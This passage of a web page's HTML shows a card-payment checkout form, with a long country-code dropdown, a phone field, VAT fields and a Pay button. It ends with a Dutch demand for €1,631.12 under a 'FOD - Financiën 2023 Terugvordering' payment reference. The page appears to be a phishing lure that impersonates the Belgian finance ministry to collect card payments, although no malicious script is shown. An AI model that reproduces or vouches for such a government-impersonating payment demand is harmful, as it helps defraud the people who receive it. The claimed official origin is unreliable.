                                            <option value="DZ">Algeria (+213)</option>
                                            <option value="AD">Andorra (+376)</option>
                                            <option value="AO">Angola (+244)</option>
                                            <option value="AI">Anguilla (+1)</option>
                                            <option value="AG">Antigua &amp; Barbuda (+1)</option>
                                            <option value="AR">Argentina (+54)</option>
                                            <option value="AM">Armenia (+374)</option>
                                            <option value="AW">Aruba (+297)</option>
                                            <option value="AC">Ascension Island (+247)</option>
                                            <option value="AU">Australia (+61)</option>
                                            <option value="AT">Austria (+43)</option>
                                            <option value="AZ">Azerbaijan (+994)</option>
                                          </optgroup>
                                          <optgroup label="Å">
                                            <option value="AX">Åland Islands (+358)</option>
                                          </optgroup>
                                          <optgroup label="B">
                                            <option value="BS">Bahamas (+1)</option>
                                            <option value="BH">Bahrain (+973)</option>
                                            <option value="BD">Bangladesh (+880)</option>
                                            <option value="BB">Barbados (+1)</option>
                                            <option value="BY">Belarus (+375)</option>
                                            <option value="BE">Belgium (+32)</option>
                                            <option value="BZ">Belize (+501)</option>
                                            <option value="BJ">Benin (+229)</option>
                                            <option value="BM">Bermuda (+1)</option>
                                            <option value="BT">Bhutan (+975)</option>
                                            <option value="BO">Bolivia (+591)</option>
                                            <option value="BA">Bosnia &amp; Herzegovina (+387)</option>
                                            <option value="BW">Botswana (+267)</option>
                                            <option value="BR">Brazil (+55)</option>
                                            <option value="IO">British Indian Ocean Territory (+246)</option>
                                            <option value="VG">British Virgin Islands (+1)</option>
                                            <option value="BN">Brunei (+673)</option>
                                            <option value="BG">Bulgaria (+359)</option>
                                            <option value="BF">Burkina Faso (+226)</option>
                                            <option value="BI">Burundi (+257)</option>
                                          </optgroup>
                                          <optgroup label="C">
                                            <option value="KH">Cambodia (+855)</option>
                                            <option value="CM">Cameroon (+237)</option>
                                            <option value="CA">Canada (+1)</option>
                                            <option value="CV">Cape Verde (+238)</option>
                                            <option value="BQ">Caribbean Netherlands (+599)</option>
                                            <option value="KY">Cayman Islands (+1)</option>
                                            <option value="CF">Central African Republic (+236)</option>
                                            <option value="TD">Chad (+235)</option>
                                            <option value="CL">Chile (+56)</option>
                                            <option value="CN">China (+86)</option>
                                            <option value="CO">Colombia (+57)</option>
                                            <option value="KM">Comoros (+269)</option>
                                            <option value="CG">Congo - Brazzaville (+242)</option>
                                            <option value="CD">Congo - Kinshasa (+243)</option>
                                            <option value="CK">Cook Islands (+682)</option>
                                            <option value="CR">Costa Rica (+506)</option>
                                            <option value="CI">Côte d’Ivoire (+225)</option>
                                            <option value="HR">Croatia (+385)</option>
                                            <option value="CW">Curaçao (+599)</option>
                                            <option value="CY">Cyprus (+357)</option>
                                            <option value="CZ">Czechia (+420)</option>
                                          </optgroup>
                                          <optgroup label="D">
                                            <option value="DK">Denmark (+45)</option>
                                            <option value="DJ">Djibouti (+253)</option>
                                            <option value="DM">Dominica (+1)</option>
                                            <option value="DO">Dominican Republic (+1)</option>
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                                          <optgroup label="E">
                                            <option value="EC">Ecuador (+593)</option>
                                            <option value="EG">Egypt (+20)</option>
                                            <option value="SV">El Salvador (+503)</option>
                                            <option value="GQ">Equatorial Guinea (+240)</option>
                                            <option value="ER">Eritrea (+291)</option>
                                            <option value="EE">Estonia (+372)</option>
                                            <option value="SZ">Eswatini (+268)</option>
                                            <option value="ET">Ethiopia (+251)</option>
                                          </optgroup>
                                          <optgroup label="F">
                                            <option value="FK">Falkland Islands (+500)</option>
                                            <option value="FO">Faroe Islands (+298)</option>
                                            <option value="FJ">Fiji (+679)</option>
                                            <option value="FI">Finland (+358)</option>
                                            <option value="FR">France (+33)</option>
                                            <option value="GF">French Guiana (+594)</option>
                                            <option value="PF">French Polynesia (+689)</option>
                                          </optgroup>
                                          <optgroup label="G">
                                            <option value="GA">Gabon (+241)</option>
                                            <option value="GM">Gambia (+220)</option>
                                            <option value="GE">Georgia (+995)</option>
                                            <option value="DE">Germany (+49)</option>
                                            <option value="GH">Ghana (+233)</option>
                                            <option value="GI">Gibraltar (+350)</option>
                                            <option value="GR">Greece (+30)</option>
                                            <option value="GL">Greenland (+299)</option>
                                            <option value="GD">Grenada (+1)</option>
                                            <option value="GP">Guadeloupe (+590)</option>
                                            <option value="GU">Guam (+1)</option>
                                            <option value="GT">Guatemala (+502)</option>
                                            <option value="GG">Guernsey (+44)</option>
                                            <option value="GN">Guinea (+224)</option>
                                            <option value="GW">Guinea-Bissau (+245)</option>
                                            <option value="GY">Guyana (+592)</option>
                                          </optgroup>
                                          <optgroup label="H">
                                            <option value="HT">Haiti (+509)</option>
                                            <option value="HN">Honduras (+504)</option>
                                            <option value="HK">Hong Kong SAR China (+852)</option>
                                            <option value="HU">Hungary (+36)</option>
                                          </optgroup>
                                          <optgroup label="I">
                                            <option value="IS">Iceland (+354)</option>
                                            <option value="IN">India (+91)</option>
                                            <option value="ID">Indonesia (+62)</option>
                                            <option value="IQ">Iraq (+964)</option>
                                            <option value="IE">Ireland (+353)</option>
                                            <option value="IM">Isle of Man (+44)</option>
                                            <option value="IL">Israel (+972)</option>
                                            <option value="IT">Italy (+39)</option>
                                          </optgroup>
                                          <optgroup label="J">
                                            <option value="JM">Jamaica (+1)</option>
                                            <option value="JP">Japan (+81)</option>
                                            <option value="JE">Jersey (+44)</option>
                                            <option value="JO">Jordan (+962)</option>
                                          </optgroup>
                                          <optgroup label="K">
                                            <option value="KZ">Kazakhstan (+7)</option>
                                            <option value="KE">Kenya (+254)</option>
                                            <option value="KI">Kiribati (+686)</option>
                                            <option value="XK">Kosovo (+383)</option>
                                            <option value="KW">Kuwait (+965)</option>
                                            <option value="KG">Kyrgyzstan (+996)</option>
                                          </optgroup>
                                          <optgroup label="L">
                                            <option value="LA">Laos (+856)</option>
                                            <option value="LV">Latvia (+371)</option>
                                            <option value="LB">Lebanon (+961)</option>
                                            <option value="LS">Lesotho (+266)</option>
                                            <option value="LR">Liberia (+231)</option>
                                            <option value="LY">Libya (+218)</option>
                                            <option value="LI">Liechtenstein (+423)</option>
                                            <option value="LT">Lithuania (+370)</option>
                                            <option value="LU">Luxembourg (+352)</option>
                                          </optgroup>
                                          <optgroup label="M">
                                            <option value="MO">Macao SAR China (+853)</option>
                                            <option value="MG">Madagascar (+261)</option>
                                            <option value="MW">Malawi (+265)</option>
                                            <option value="MY">Malaysia (+60)</option>
                                            <option value="MV">Maldives (+960)</option>
                                            <option value="ML">Mali (+223)</option>
                                            <option value="MT">Malta (+356)</option>
                                            <option value="MQ">Martinique (+596)</option>
                                            <option value="MR">Mauritania (+222)</option>
                                            <option value="MU">Mauritius (+230)</option>
                                            <option value="YT">Mayotte (+262)</option>
                                            <option value="MX">Mexico (+52)</option>
                                            <option value="MD">Moldova (+373)</option>
                                            <option value="MC">Monaco (+377)</option>
                                            <option value="MN">Mongolia (+976)</option>
                                            <option value="ME">Montenegro (+382)</option>
                                            <option value="MS">Montserrat (+1)</option>
                                            <option value="MA">Morocco (+212)</option>
                                            <option value="MZ">Mozambique (+258)</option>
                                            <option value="MM">Myanmar (Burma) (+95)</option>
                                          </optgroup>
                                          <optgroup label="N">
                                            <option value="NA">Namibia (+264)</option>
                                            <option value="NR">Nauru (+674)</option>
                                            <option value="NP">Nepal (+977)</option>
                                            <option value="NL">Netherlands (+31)</option>
                                            <option value="NC">New Caledonia (+687)</option>
                                            <option value="NZ">New Zealand (+64)</option>
                                            <option value="NI">Nicaragua (+505)</option>
                                            <option value="NE">Niger (+227)</option>
                                            <option value="NG">Nigeria (+234)</option>
                                            <option value="NU">Niue (+683)</option>
                                            <option value="MK">North Macedonia (+389)</option>
                                            <option value="NO">Norway (+47)</option>
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                                          <optgroup label="O">
                                            <option value="OM">Oman (+968)</option>
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                                          <optgroup label="P">
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                                            <option value="PS">Palestinian Territories (+970)</option>
                                            <option value="PA">Panama (+507)</option>
                                            <option value="PG">Papua New Guinea (+675)</option>
                                            <option value="PY">Paraguay (+595)</option>
                                            <option value="PE">Peru (+51)</option>
                                            <option value="PH">Philippines (+63)</option>
                                            <option value="PL">Poland (+48)</option>
                                            <option value="PT">Portugal (+351)</option>
                                            <option value="PR">Puerto Rico (+1)</option>
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                                          <optgroup label="Q">
                                            <option value="QA">Qatar (+974)</option>
                                          </optgroup>
                                          <optgroup label="R">
                                            <option value="RE">Réunion (+262)</option>
                                            <option value="RO">Romania (+40)</option>
                                            <option value="RU">Russia (+7)</option>
                                            <option value="RW">Rwanda (+250)</option>
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                                          <optgroup label="S">
                                            <option value="WS">Samoa (+685)</option>
                                            <option value="SM">San Marino (+378)</option>
                                            <option value="ST">São Tomé &amp; Príncipe (+239)</option>
                                            <option value="SA">Saudi Arabia (+966)</option>
                                            <option value="SN">Senegal (+221)</option>
                                            <option value="RS">Serbia (+381)</option>
                                            <option value="SC">Seychelles (+248)</option>
                                            <option value="SL">Sierra Leone (+232)</option>
                                            <option value="SG">Singapore (+65)</option>
                                            <option value="SX">Sint Maarten (+1)</option>
                                            <option value="SK">Slovakia (+421)</option>
                                            <option value="SI">Slovenia (+386)</option>
                                            <option value="SB">Solomon Islands (+677)</option>
                                            <option value="SO">Somalia (+252)</option>
                                            <option value="ZA">South Africa (+27)</option>
                                            <option value="KR">South Korea (+82)</option>
                                            <option value="SS">South Sudan (+211)</option>
                                            <option value="ES">Spain (+34)</option>
                                            <option value="LK">Sri Lanka (+94)</option>
                                            <option value="BL">St. Barthélemy (+590)</option>
                                            <option value="SH">St. Helena (+290)</option>
                                            <option value="KN">St. Kitts &amp; Nevis (+1)</option>
                                            <option value="LC">St. Lucia (+1)</option>
                                            <option value="MF">St. Martin (+590)</option>
                                            <option value="PM">St. Pierre &amp; Miquelon (+508)</option>
                                            <option value="VC">St. Vincent &amp; Grenadines (+1)</option>
                                            <option value="SR">Suriname (+597)</option>
                                            <option value="SJ">Svalbard &amp; Jan Mayen (+47)</option>
                                            <option value="SE">Sweden (+46)</option>
                                            <option value="CH">Switzerland (+41)</option>
                                          </optgroup>
                                          <optgroup label="T">
                                            <option value="TW">Taiwan (+886)</option>
                                            <option value="TJ">Tajikistan (+992)</option>
                                            <option value="TZ">Tanzania (+255)</option>
                                            <option value="TH">Thailand (+66)</option>
                                            <option value="TL">Timor-Leste (+670)</option>
                                            <option value="TG">Togo (+228)</option>
                                            <option value="TK">Tokelau (+690)</option>
                                            <option value="TO">Tonga (+676)</option>
                                            <option value="TT">Trinidad &amp; Tobago (+1)</option>
                                            <option value="TA">Tristan da Cunha (+290)</option>
                                            <option value="TN">Tunisia (+216)</option>
                                            <option value="TR">Turkey (+90)</option>
                                            <option value="TM">Turkmenistan (+993)</option>
                                            <option value="TC">Turks &amp; Caicos Islands (+1)</option>
                                            <option value="TV">Tuvalu (+688)</option>
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                                          <optgroup label="U">
                                            <option value="UG">Uganda (+256)</option>
                                            <option value="UA">Ukraine (+380)</option>
                                            <option value="AE">United Arab Emirates (+971)</option>
                                            <option value="GB">United Kingdom (+44)</option>
                                            <option value="US">United States (+1)</option>
                                            <option value="UY">Uruguay (+598)</option>
                                            <option value="UZ">Uzbekistan (+998)</option>
                                          </optgroup>
                                          <optgroup label="V">
                                            <option value="VU">Vanuatu (+678)</option>
                                            <option value="VA">Vatican City (+39)</option>
                                            <option value="VE">Venezuela (+58)</option>
                                            <option value="VN">Vietnam (+84)</option>
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                                          <optgroup label="W">
                                            <option value="WF">Wallis &amp; Futuna (+681)</option>
                                            <option value="EH">Western Sahara (+212)</option>
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                                          <optgroup label="Y">
                                            <option value="YE">Yemen (+967)</option>
                                          </optgroup>
                                          <optgroup label="Z">
                                            <option value="ZM">Zambia (+260)</option>
                                            <option value="ZW">Zimbabwe (+263)</option>
                                          </optgroup>
                                        </select><svg class="InlineSVG Icon PhoneNumberCountryCodeSelect-chevron Icon--xs Icon--square" focusable="false" height="16" viewBox="0 0 16 16" width="16">
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                                    </div><span class="InputContainer" data-max=""><input class="CheckoutInput PhoneNumberInput-input SignUpForm-phoneInput CheckoutInput--hasPlaceholderIcon Input Input--empty" autocomplete="undefined"
                                        autocorrect="off" spellcheck="false" id="search-phoneNumber" name="phoneNumber" type="tel" data-lpignore="true" data-form-type="other" placeholder="01512 3456789" aria-invalid="false" value=""></span>
                                  </div>
                                  <div class="PhoneNumberInput-dynamicIcons">
                                    <div class="Optional">Optional</div>
                                  </div>
                                </div>
                              </div>
                              <div class="SignUpForm-termsAnimation" style="display: none; height: 0px; opacity: 0; pointer-events: none;">
                                <div class="SignUpForm-terms">
                                  <div class="Text Text-color--gray400 Text-fontSize--12">By paying, I agree to the <a class="Link Link--checkout--secondary" href="https://link.co/terms" target="_blank" rel="noopener">Link Terms</a> and
                                    <a class="Link Link--checkout--secondary" href="https://link.co/privacy" target="_blank" rel="noopener">Privacy Policy</a>.</div>
                                </div>
                              </div>
                              <div class="SignUpForm-errorMessageAnimation" style="display: none; height: 0px; opacity: 0; pointer-events: none;"><span class="FieldError Text Text-color--red Text-fontSize--13"><span aria-hidden="false"
                                    role="alert">Required</span></span></div>
                              <div class="SignUpForm-footer">
                                <div class="SignUpForm-footerLogo"><svg class="InlineSVG Icon Icon--sm" focusable="false" viewBox="0 0 36 16">
                                    <path
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                                    </path>
                                  </svg></div><span class="SignUpForm-footerSpacer">•</span><button class="Button SignUpForm-moreInfoLink SignUpForm-moreInfoLink--secondary Button--link Button--sm" type="button">
                                  <div class="flex-container justify-content-center align-items-center">
                                    <a class="Link Link--checkout--secondary" target="_self"><span class="Text Text-color--gray400 Text-fontSize--12 Text-fontWeight--400">More info</span></a></div>
                                </button>
                              </div>
                            </div>
                          </div>
                        </div>
                      </div>
                    </div>
                    <div class="py3 TaxIdCollection-Container flex-item width-12">
                      <div style="pointer-events: auto; display: block; height: auto; opacity: 1;">
                        <div class="flex-item width-12">
                          <div class="FormFieldCheckbox">
                            <div class="CheckboxField">
                              <div class="Checkbox">
                                <div class="Checkbox-InputContainer"><input id="purchasingAsBusinessCheckbox" name="purchasingAsBusinessCheckbox" type="checkbox" class="Checkbox-Input"><span class="Checkbox-StyledInput"></span></div><label
                                  for="purchasingAsBusinessCheckbox"><span class="Checkbox-Label Text Text-color--gray600 Text-fontSize--13 Text-fontWeight--500">I'm purchasing as a business</span></label>
                              </div>
                            </div>
                          </div>
                          <div style="display: none; height: 0px; opacity: 0; pointer-events: none;">
                            <div class="FormFieldGroup" data-qa="FormFieldGroup-taxIdCollectionForm">
                              <div class="FormFieldGroup-labelContainer flex-container justify-content-space-between"><label for="taxIdCollectionForm-fieldset"><span class="Text Text-color--gray600 Text-fontSize--13 Text-fontWeight--500">
                                    <div class="mt4 TaxIdCollection-label flex-container">VAT information<div class="Tooltip-Context TaxIdCollection-TooltipContext" style="padding: 0px;"><svg class="InlineSVG Icon Icon--sm Icon--square"
                                          focusable="false" width="12" height="12" viewBox="0 0 12 12" fill="none">
                                          <path
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                                        </svg></div>
                                    </div>
                                  </span></label></div>
                              <fieldset class="FormFieldGroup-Fieldset" id="taxIdCollectionForm-fieldset">
                                <div class="FormFieldGroup-container">
                                  <div class="FormFieldGroup-child FormFieldGroup-child--width-12 FormFieldGroup-childLeft FormFieldGroup-childRight FormFieldGroup-childTop">
                                    <div class="FormFieldInput">
                                      <div class="CheckoutInputContainer"><span class="InputContainer" data-max=""><input class="CheckoutInput Input Input--empty" autocomplete="fake" autocorrect="off" spellcheck="false" id="businessName"
                                            name="businessName" type="text" placeholder="Business name" aria-invalid="false" aria-describedby="" value=""></span></div>
                                    </div>
                                  </div>
                                  <div class="FormFieldGroup-child FormFieldGroup-child--width-12 FormFieldGroup-childLeft FormFieldGroup-childRight FormFieldGroup-childBottom">
                                    <div class="FormFieldInput">
                                      <div class="CheckoutInputContainer"><span class="InputContainer" data-max=""><input class="CheckoutInput Input Input--empty" autocomplete="fake" autocorrect="off" spellcheck="false" id="taxId" name="taxId"
                                            type="text" placeholder="DE123456789" aria-invalid="false" aria-describedby="" value=""></span></div>
                                    </div>
                                  </div>
                                  <div class="FieldError-container" style="opacity: 0; height: 0px;"><span class="FieldError Text Text-color--red Text-fontSize--13"><span aria-hidden="true"></span></span></div>
                                </div>
                                <div class="FieldError-container" style="opacity: 0; height: 0px;"><span class="FieldError Text Text-color--red Text-fontSize--13"><span aria-hidden="true"></span></span></div>
                              </fieldset>
                            </div>
                          </div>
                        </div>
                      </div>
                    </div>
                  </div>
                </div>
              </div>
            </div>
          </div>
        </div>
      </div>
    </div>
  </div>
  <div class="PaymentForm-confirmPaymentContainer mt4 flex-item width-grow">
    <div>
      <div class="flex-item width-12"></div>
      <div class="flex-item width-12"><button class="SubmitButton SubmitButton--incomplete" type="submit" data-testid="hosted-payment-submit-button" style="background-color: rgb(0, 116, 212); color: rgb(255, 255, 255);">
          <div class="SubmitButton-Shimmer" style="background: linear-gradient(to right, rgba(0, 116, 212, 0) 0%, rgb(58, 139, 238) 50%, rgba(0, 116, 212, 0) 100%);"></div>
          <div class="SubmitButton-TextContainer"><span class="SubmitButton-Text SubmitButton-Text--current Text Text-color--default Text-fontWeight--500 Text--truncate" aria-hidden="false">Pay</span><span
              class="SubmitButton-Text SubmitButton-Text--pre Text Text-color--default Text-fontWeight--500 Text--truncate" aria-hidden="true">Processing...</span></div>
          <div class="SubmitButton-IconContainer">
            <div class="SubmitButton-Icon SubmitButton-Icon--pre">
              <div class="Icon Icon--md Icon--square"><svg viewBox="0 0 16 16" xmlns="http://www.w3.org/2000/svg" focusable="false">
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                </svg></div>
            </div>
            <div class="SubmitButton-Icon SubmitButton-SpinnerIcon SubmitButton-Icon--pre">
              <div class="Icon Icon--md Icon--square"><svg viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg" focusable="false">
                  <ellipse cx="12" cy="12" rx="10" ry="10" style="stroke: rgb(255, 255, 255);"></ellipse>
                </svg></div>
            </div>
          </div>
          <div class="SubmitButton-CheckmarkIcon">
            <div class="Icon Icon--md"><svg xmlns="http://www.w3.org/2000/svg" width="22" height="14" focusable="false">
                <path d="M 0.5 6 L 8 13.5 L 21.5 0" fill="transparent" stroke-width="2" stroke="#ffffff" stroke-linecap="round" stroke-linejoin="round"></path>
              </svg></div>
          </div>
        </button></div>
      <div class="flex-item width-12">
        <div class="ConfirmPayment-PostSubmit">
          <div>
            <div class="flex-container spacing-8 direction-column" style="margin-top: 4px; margin-bottom: 4px;">
              <div class="flex-item width-grow"></div>
              <div class="flex-item width-grow"></div>
              <div class="flex-item width-grow">
                <div class="ConfirmTerms Text Text-color--gray600 Text-fontSize--13" data-testid="ConfirmPaymentTermsText"></div>
              </div>
            </div>
          </div>
        </div>
      </div>
    </div>
  </div>
</form>

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€1,631.12
Uw Betaling Kenmerk is 52403431BE.
 * FOD - Financiën 2023 Terugvordering.
   Uw Betaling Kenmerk is 52403431BE.
   
   
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Afghanistan (+93)Albania (+355)Algeria (+213)Andorra (+376)Angola (+244)Anguilla
(+1)Antigua & Barbuda (+1)Argentina (+54)Armenia (+374)Aruba (+297)Ascension
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(+264)Nauru (+674)Nepal (+977)Netherlands (+31)New Caledonia (+687)New Zealand
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(+507)Papua New Guinea (+675)Paraguay (+595)Peru (+51)Philippines (+63)Poland
(+48)Portugal (+351)Puerto Rico (+1)Qatar (+974)Réunion (+262)Romania
(+40)Russia (+7)Rwanda (+250)Samoa (+685)San Marino (+378)São Tomé & Príncipe
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(+290)St. Kitts & Nevis (+1)St. Lucia (+1)St. Martin (+590)St. Pierre & Miquelon
(+508)St. Vincent & Grenadines (+1)Suriname (+597)Svalbard & Jan Mayen
(+47)Sweden (+46)Switzerland (+41)Taiwan (+886)Tajikistan (+992)Tanzania
(+255)Thailand (+66)Timor-Leste (+670)Togo (+228)Tokelau (+690)Tonga
(+676)Trinidad & Tobago (+1)Tristan da Cunha (+290)Tunisia (+216)Turkey
(+90)Turkmenistan (+993)Turks & Caicos Islands (+1)Tuvalu (+688)Uganda
(+256)Ukraine (+380)United Arab Emirates (+971)United Kingdom (+44)United States
(+1)Uruguay (+598)Uzbekistan (+998)Vanuatu (+678)Vatican City (+39)Venezuela
(+58)Vietnam (+84)Wallis & Futuna (+681)Western Sahara (+212)Yemen (+967)Zambia
(+260)Zimbabwe (+263)
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